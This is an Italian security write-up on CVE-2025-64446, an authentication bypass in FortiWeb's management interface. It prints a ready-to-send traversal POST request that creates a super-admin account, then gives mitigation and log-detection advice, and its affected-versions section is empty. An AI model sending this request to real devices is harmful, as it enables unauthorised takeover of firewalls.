---

📌 Panoramica

CVE-2025-64446 è una grave vulnerabilità di path traversal relativo nell'interfaccia di gestione del Web Application Firewall FortiWeb.

Un attaccante remoto non autenticato può sfruttare questa falla per bypassare l'autenticazione e creare nuovi utenti amministratori con privilegi completi, portando a una compromissione totale del dispositivo.

• Punteggio CVSS v3.1: 9.8 (Critico)
• Tipo di attacco: Remoto non autenticato
• Impatto: Acquisizione amministrativa completa
• Stato: Attivamente sfruttato in ambienti reali

---

🛠️ Versioni Affette

Raccomandazione: Aggiornare alla versione corretta più recente il prima possibile.

---

🔥 Come gli Attaccanti Sfruttano Questa Vulnerabilità

Sfruttamento Passo-Passo

1. Identificazione del Target
   L'attaccante esegue una scansione alla ricerca di interfacce di gestione FortiWeb esposte pubblicamente (di solito sulla porta HTTPS 443 o 8443).

2. Costruzione della Richiesta Maligna
   Il cuore dell'exploit è un path traversal relativo (../) combinato con un URL appositamente costruito che raggiunge un endpoint CGI interno non autenticato.

   Pattern dell'Endpoint Vulnerabile:

   root@kitploit:~

   /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
   

3. Invio dell'Exploit

   L'attaccante invia una singola richiesta POST con un payload JSON per creare un nuovo account amministratore.

   Richiesta di Exploit di Esempio:

   root@kitploit:~

   POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
   Host: target-fortiweb.example.com
   Content-Type: application/json
   
   {
     "name": "hackedadmin",
     "password": "AttackerPass123!",
     "access_profile": "super_admin",
     "type": "local"
   }
   

4. Sfruttamento Riuscito

   In caso di successo, FortiWeb crea il nuovo account admin senza richiedere alcuna autenticazione preventiva. L'attaccante può quindi accedere con le credenziali appena create e ottenere il controllo completo del WAF.

Perché Funziona

L'API di gestione non riesce a sanificare correttamente il percorso, consentendo alla richiesta di risalire fino al binario legacy fwbcgi, che non impone l'autenticazione su determinate operazioni.

---

📸 Screenshot

---

🛡️ Mitigazione e Best Practice

• Aggiornare immediatamente FortiWeb a una versione corretta
• Non esporre mai l'interfaccia di gestione direttamente su internet
• Utilizzare una forte segmentazione di rete e VPN per l'accesso amministrativo
• Monitorare i log per richieste contenenti fwbcgi, ../ o tentativi insoliti di creazione di admin
• Verificare regolarmente gli account amministratore per voci sospette

---